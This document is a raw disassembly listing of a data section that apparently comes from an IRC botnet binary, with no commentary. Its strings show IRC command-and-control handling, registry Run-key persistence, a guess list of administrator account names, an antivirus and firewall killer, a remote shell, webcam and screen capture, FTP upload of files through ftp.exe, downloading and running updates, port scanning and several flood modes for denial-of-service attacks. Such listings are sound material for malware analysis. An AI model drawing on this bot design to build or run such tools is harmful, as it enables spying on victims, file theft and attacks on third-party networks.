sub_401ACD:loc_4098FBo ; "*@admin.com" off_429164 dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8C3r ; sub_401ACD+7E4Ao ; "mIRC v6.16 Khaled Mardam-Bey" dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey" dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey" dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey" aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 align 4 db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_419E79+28o ; sub_41A19D+28o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_419E79+D4o ; sub_41A19D+D4o align 4 dd offset aAdministrato_0 ; "administrator" dd offset aDb2 ; "db2" align 8 dd offset dword_43D158 dd offset aAdministrato_0 ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd 0 dword_42923C dd 10h ; DATA XREF: sub_401ACD+AFBr ; sub_401ACD+B27r ... aAdministrateur db 'administrateur',0 ; DATA XREF: ___:00429234o align 10h aAdministrador db 'administrador',0 ; DATA XREF: ___:00429230o align 10h aDb2 db 'db2',0 ; DATA XREF: ___:00429220o aAdministrato_0 db 'administrator',0 ; DATA XREF: ___:0042921Co ; ___:0042922Co align 4 aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429170o align 4 aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co align 4 aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o align 4 aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429164o align 4 a@admin_com db '*@admin.com',0 ; DATA XREF: ___:off_429160o dword_429300 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:0040168Co aFailedToStartS db '- Failed to start server, error: <%d>.',0 align 4 dword_429334 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:00401641o aServerRunningO db '- Server running on Port: 113.',0 align 10h unk_429360 db 2Dh ; - ; DATA XREF: ___:00401614o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0 align 10h unk_4293A0 db 2Dh ; - ; DATA XREF: ___:004015C3o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aAvFwKillerActi db ' AV/FW Killer active.',0 align 4 dword_4293C4 dd 234032Dh, 6E69616Dh, 202D0203h, 20746F42h, 72617473h ; DATA XREF: ___:00401585o dd 2E646574h, 0 dword_4293E0 dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o dword_4293EC dd 255C7325h, 73h ; DATA XREF: ___:004013AAo ; sub_415A2F+7Eo dword_4293F4 dd 73257325h, 0 ; DATA XREF: ___:0040132Eo ; sub_40F6B3+EAo ... unk_4293FC db 2Dh ; - ; DATA XREF: sub_4017ED+F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aConnectedToS_ db 'Connected to %s.',0 align 4 aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401955+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_401955+35o align 4 aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F2Eo align 4 aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F16o align 4 unk_429464 db 2Dh ; - ; DATA XREF: sub_401ACD+7F09o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedIn_ db 'User: %s logged in.',0 unk_429484 db 2Dh ; - ; DATA XREF: sub_401ACD+7EECo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPasswordAccept db 'Password accepted.',0 align 4 unk_4294A4 db 2Dh ; - ; DATA XREF: sub_401ACD+7E8Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedHostAuth db '*Failed host auth by: (%s!%s).',0 align 10h aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7E62o align 4 unk_4294F8 db 2Dh ; - ; DATA XREF: sub_401ACD+7E24o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedPassAuth db '*Failed pass auth by: (%s!%s).',0 align 4 aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7E12o ; sub_401ACD+7E79o align 10h aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7DFBo align 4 asc_429578: ; DATA XREF: sub_401ACD+7DCBo unicode 0, <~>,0 unk_42957C db 2Dh ; - ; DATA XREF: sub_401ACD+7D7Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRandomNickChan db 'Random nick change: %s',0 align 10h unk_4295A0 db 2Dh ; - ; DATA XREF: sub_401ACD+7D0Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnectingIn db 'Reconnecting in %s seconds',0 align 4 unk_4295C8 db 2Dh ; - ; DATA XREF: sub_401ACD+7CC3o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnecting_0 db 'Reconnecting in %s ms',0 align 4 unk_4295EC db 2Dh ; - ; DATA XREF: sub_401ACD+7CA1o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNickChangedToS db 'Nick changed to: ',27h,'%s',27h,'.',0 align 10h unk_429610 db 2Dh ; - ; DATA XREF: sub_401ACD+7C81o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChannelS db 'Joined channel: ',27h,'%s',27h,'.',0 align 4 unk_429634 db 2Dh ; - ; DATA XREF: sub_401ACD+7C5Ao db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPartedChannelS db 'Parted channel: ',27h,'%s',27h,'.',0 align 4 dword_429658 dd 234032Dh, 6E69616Dh, 202D0302h, 20435249h, 3A776152h ; DATA XREF: sub_401ACD+7C3Ao dd 2E732520h, 0 unk_429674 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409684o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToKillTh db '- Failed to kill thread: %s.',0 align 10h unk_4296A0 db 2Dh ; - ; DATA XREF: sub_401ACD+7BB0o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aKilledThreadS_ db '- Killed thread: %s.',0 align 4 unk_4296C4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4095FCo db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aNoActiveThread db '- No active threads found.',0 unk_4296EC db 2Dh ; - ; DATA XREF: sub_401ACD+7B25o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aStoppedDThread db '- Stopped: %d thread(s).',0 align 4 aAll db 'all',0 ; DATA XREF: sub_401ACD+7B0Bo unk_429718 db 2Dh ; - ; DATA XREF: sub_401ACD+79FEo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrefixChangedT db 'Prefix changed to: ',27h,'%c',27h,'.',0 align 10h unk_429740 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4094B2o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0 unk_429764 db 2Dh ; - ; DATA XREF: sub_401ACD+79DBo db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFileOpenedS db ' File opened: %s',0 align 4 unk_429784 db 2Dh ; - ; DATA XREF: sub_401ACD+79B7o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aServerChangedT db 'Server changed to: ',27h,'%s',27h,'.',0 align 4 unk_4297AC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409467o db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0 align 4 unk_4297D4 db 2Dh ; - ; DATA XREF: sub_401ACD+796Co db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aLookupSS_ db '- Lookup: %s -> %s.',0 align 4 unk_4297F4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4093FCo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTermin db ' Failed to terminate process: %s',0 align 4 unk_429824 db 2Dh ; - ; DATA XREF: sub_401ACD+7925o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledS db ' Process killed: %s',0 unk_429844 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409398o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTerm_0 db ' Failed to terminate process ID: %s',0 unk_429874 db 2Dh ; - ; DATA XREF: sub_401ACD+78C4o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledI db ' Process killed ID: %s',0 align 4 dword_429898 dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h ; DATA XREF: sub_401ACD+7884o dd 27732527h, 2Eh unk_4298B4 db 2Dh ; - ; DATA XREF: sub_401ACD+7802o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aSendFileSUserS db '- Send File: %s, User: %s.',0 dword_4298D8 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah ; DATA XREF: sub_401ACD+7785o dd 0 unk_4298F0 db 2Dh ; - ; DATA XREF: sub_401ACD+7754o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToStartC db ' Failed to start connection thread, error: <%d>.',0 align 10h dword_429930 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah ; DATA XREF: sub_401ACD+76E5o dd 2Eh dword_429948 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h ; DATA XREF: sub_401ACD:loc_40913Fo dd 746E6573h, 2Eh unk_429964 db 2Dh ; - ; DATA XREF: sub_401ACD+766Bo db 3, 34h, 2 db 6Dh ; m db 69h, 72h, 63h db 2 db 3, 2Dh, 20h aClientNotOpen_ db 'Client not open.',0 align 4 dword_429984 dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh ; DATA XREF: sub_401ACD+762Fo dd 732520h unk_42999C db 2Dh ; - ; DATA XREF: sub_401ACD+7610o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aErrorSendingTo db '- Error sending to remote shell.',0 align 4 asc_4299C8: ; DATA XREF: sub_401ACD+75F8o ; sub_40F6B3+FBo ... dw 0Ah unicode 0, <>,0 unk_4299CC db 2Dh ; - ; DATA XREF: sub_401ACD+75CEo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileFailed db 'Read file failed: %s',0 align 10h unk_4299F0 db 2Dh ; - ; DATA XREF: sub_401ACD+75C1o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileComple db 'Read file complete: %s',0 align 4 unk_429A14 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40901Eo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aInvalidParam_0 db '- Invalid parameters for amateur video capture.',0 align 4 unk_429A54 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409014o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCapt db '- Error while capturing amateur video from webcam.',0 unk_429A94 db 2Dh ; - ; DATA XREF: sub_401ACD+753Do db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aAmateurVideoSa db '- Amateur video saved to: %s.',0 align 10h aVideo db 'video',0 ; DATA XREF: sub_401ACD:loc_408F86o align 4 unk_429AC8 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408F73o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aInvalidParam_1 db '- Invalid parameters for webcam capture.',0 align 10h unk_429B00 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408F6Co db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_0 db '- Error while capturing from webcam.',0 align 4 unk_429B34 db 2Dh ; - ; DATA XREF: sub_401ACD+748Fo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aWebcamCaptureS db '- Webcam capture saved to: %s.',0 aFrame db 'frame',0 ; DATA XREF: sub_401ACD:loc_408EE5o align 4 unk_429B68 db 2Dh ; - ; DATA XREF: sub_401ACD+740Bo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverListComp db '- Driver list complete.',0 align 10h unk_429B90 db 2Dh ; - ; DATA XREF: sub_401ACD+73D8o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverDSS_ db '- Driver #%d - %s - %s.',0 align 4 aDrivers db 'drivers',0 ; DATA XREF: sub_401ACD:loc_408E58o unk_429BC0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408E45o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aNoFilenameSpec db '- No filename specified for screen capture.',0 align 4 unk_429BFC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408E3Eo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_1 db '- Error while capturing screen.',0 align 4 unk_429C2C db 2Dh ; - ; DATA XREF: sub_401ACD+7361o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aScreenCaptureS db '- Screen capture saved to: %s.',0 aScreen db 'screen',0 ; DATA XREF: sub_401ACD:loc_408DFDo align 10h dword_429C60 dd 234032Dh, 6E69616Dh, 202D0302h, 68746547h, 3A74736Fh ; DATA XREF: sub_401ACD+7318o dd 2E732520h, 0 unk_429C7C db 2Dh ; - ; DATA XREF: sub_401ACD+72D2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUnableToExtrac db 'Unable to extract Gethost command.',0 align 4 unk_429CAC db 2Dh ; - ; DATA XREF: sub_401ACD+72B6o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aGethostSComman db 'Gethost: %s, Command: %s',0 align 4 unk_429CD4 db 2Dh ; - ; DATA XREF: sub_401ACD+7209o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aAliasAddedS_ db 'Alias added: %s.',0 align 4 unk_429CF4 db 2Dh ; - ; DATA XREF: sub_401ACD+71D5o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrivmsgSS_ db 'Privmsg: %s: %s.',0 align 4 unk_429D14 db 2Dh ; - ; DATA XREF: sub_401ACD+7180o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aActionSS_ db 'Action: %s: %s.',0 dword_429D30 dd 234032Dh, 6E69616Dh, 202D0302h, 6C637943h, 2E65h ; DATA XREF: sub_401ACD+710Eo dword_429D44 dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+70D4o ; sub_401ACD+7C47o unk_429D50 db 2Dh ; - ; DATA XREF: sub_401ACD+70AFo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aModeChangeS db 'Mode change: %s',0 aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+709Eo align 4 dword_429D78 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h ; DATA XREF: sub_401ACD+7073o dd 25203A29h, 73h dword_429D94 dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h ; DATA XREF: sub_401ACD+7004o dd 203A2973h, 7325h dword_429DB0 dd 45444F4Dh, 732520h ; DATA XREF: sub_401ACD+6FA9o dword_429DB8 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh ; DATA XREF: sub_401ACD+6F79o dd 203A2973h, 7325h dword_429DD4 dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6F00o dword_429DE0 dd 0A0D7325h, 0 ; DATA XREF: sub_401ACD+6ECEo ; sub_401ACD+6F57o ... dword_429DE8 dd 54524150h, 732520h ; DATA XREF: sub_401ACD+6E95o dword_429DF0 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6E84o aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_429E2C dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6E15o aFloodingSForSS db '- Flooding %s for %s seconds.',0 align 4 unk_429E58 db 2Dh ; - ; DATA XREF: sub_401ACD+6D85o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_429E94 db 2Dh ; - ; DATA XREF: sub_401ACD+6D1Ao db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0 unk_429EC8 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408745o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRepeatNotAllow db 'Repeat not allowed in command line: %s',0 align 4 dword_429EFC dd 234032Dh, 6E69616Dh, 202D0302h, 65706552h, 203A7461h ; DATA XREF: sub_401ACD+6C3Do dd 7325h dword_429F14 dd 234032Dh, 6E69616Dh, 202D0302h, 616C6544h, 2E79h ; DATA XREF: sub_401ACD:loc_408673o dword_429F28 dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_401ACD+6B62o ; sub_401ACD+6C14o ... dword_429F38 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD:loc_4085D0o aBotIdMustBeDif db '- Bot ID must be different than current running process.',0 align 10h dword_429F80 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6AF9o aFailedToStartD db '- Failed to start download thread, error: <%d>.',0 dword_429FBC dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6A8Ao aDownloadingUpd db '- Downloading update from: %s.',0 align 4 aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_401ACD+69E2o align 4 dword_429FF4 dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h ; DATA XREF: sub_401ACD+6980o dd 7325203Ah, 0 unk_42A010 db 2Dh ; - ; DATA XREF: sub_401ACD+6975o db 3, 34h, 2 db 65h ; e db 78h, 65h, 63h db 2 db 3, 2Dh, 20h aCouldnTExecute db 'Couldn',27h,'t execute file.',0 align 4 unk_42A034 db 2Dh ; - ; DATA XREF: sub_401ACD+68DBo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aFailedToStar_1 db 'Failed to start search thread, error: <%d>.',0 unk_42A070 db 2Dh ; - ; DATA XREF: sub_401ACD+6865o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingForFi db 'Searching for file: %s in: %s.',0 align 10h dword_42A0A0 dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD:loc_40826Bo ; sub_401ACD:loc_409366o unk_42A0AC db 2Dh ; - ; DATA XREF: sub_401ACD+6789o db 3, 34h, 2 db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 10h unk_42A0D0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408234o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0 align 4 unk_42A108 db 2Dh ; - ; DATA XREF: sub_401ACD+675Do db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFailedToStar_2 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42A140 db 2Dh ; - ; DATA XREF: sub_401ACD+66EDo db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0 align 4 dword_42A16C dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+666Ao aFailedToStar_3 db '- Failed to start clone thread, error: <%d>.',0 align 4 dword_42A1A8 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+65FBo aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0 align 4 unk_42A1D8 db 2Dh ; - ; DATA XREF: sub_401ACD+6582o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFailedToStar_4 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42A210 db 2Dh ; - ; DATA XREF: sub_401ACD+6513o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0 align 10h unk_42A240 db 2Dh ; - ; DATA XREF: sub_401ACD+6489o db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFailedToStar_5 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42A278 db 2Dh ; - ; DATA XREF: sub_401ACD+641Ao db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0 align 4 unk_42A2A8 db 2Dh ; - ; DATA XREF: sub_401ACD+63A1o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFailedToStar_6 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42A2E0 db 2Dh ; - ; DATA XREF: sub_401ACD+6332o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0 align 4 unk_42A31C db 2Dh ; - ; DATA XREF: sub_401ACD+62B9o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aFailedToStartT db 'Failed to start transfer thread, error: <%d>.',0 align 4 unk_42A35C db 2Dh ; - ; DATA XREF: sub_401ACD+624Ao db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadingUrl db 'Downloading URL: %s to: %s.',0 unk_42A388 db 2Dh ; - ; DATA XREF: sub_401ACD+617Bo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0 align 4 unk_42A3CC db 2Dh ; - ; DATA XREF: sub_401ACD+610Co db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0 unk_42A408 db 2Dh ; - ; DATA XREF: sub_401ACD+600Fo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStarte db 'Port scan started: %s:%d with delay: %d(ms).',0 align 4 aSSS_1 db '[%s] <%s> %s',0 ; DATA XREF: sub_401ACD+5F63o align 4 aSSS_2 db '[%s] * %s %s',0 ; DATA XREF: sub_401ACD+5E86o align 4 dword_42A464 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401ACD+5DF2o ; sub_401ACD+715Ao unk_42A470 db 2Dh ; - ; DATA XREF: sub_401ACD+5D8Eo db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_7 db 'Failed to start scan thread, error: <%d>.',0 align 4 unk_42A4AC db 2Dh ; - ; DATA XREF: sub_401ACD+5D1Fo db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStar_0 db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0 align 4 unk_42A4FC db 2Dh ; - ; DATA XREF: sub_401ACD+5C88o ; sub_401ACD+607Eo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_8 db 'Failed to start scan thread, error: <%d>.',0 align 4 unk_42A534 db 2Dh ; - ; DATA XREF: sub_401ACD+5C19o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSPortScanStart db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m' db 'inutes using %d threads.',0 align 4 unk_42A59C db 2Dh ; - ; DATA XREF: sub_401ACD+5AA3o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_9 db 'Failed to start scan, no IP specified.',0 align 10h unk_42A5D0 db 2Dh ; - ; DATA XREF: sub_401ACD+5A46o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_10 db 'Failed to start scan, port is invalid.',0 align 4 unk_42A604 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4073F3o db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFileS db '- Uploading file: %s to: %s failed.',0 align 4 unk_42A634 db 2Dh ; - ; DATA XREF: sub_401ACD+591Fo db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFil_0 db '- Uploading file: %s to: %s',0 align 4 aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401ACD+5906o aSS_2 db '-s:%s',0 ; DATA XREF: sub_401ACD+58EFo align 4 aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401ACD+58CCo db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 10h aAb db 'ab',0 ; DATA XREF: sub_401ACD+58A8o ; ___:00411C61o align 4 aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401ACD+5897o align 4 unk_42A6A4 db 2Dh ; - ; DATA XREF: sub_401ACD+584Do db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aFileNotFoundS_ db '- File not found: %s.',0 align 4 aUpload db 'upload',0 ; DATA XREF: sub_401ACD+582Ao align 4 unk_42A6CC db 2Dh ; - ; DATA XREF: sub_401ACD+57F4o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aAlreadyDScanni db 'Already %d scanning threads. Too many specified.',0 align 4 unk_42A70C db 2Dh ; - ; DATA XREF: sub_401ACD+5797o db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aFailedToSta_11 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42A744 db 2Dh ; - ; DATA XREF: sub_401ACD+572Co db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 4 unk_42A78C db 2Dh ; - ; DATA XREF: sub_401ACD+567Bo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aMessageHasBeen db '- Message has been sent successfuly',0 align 10h 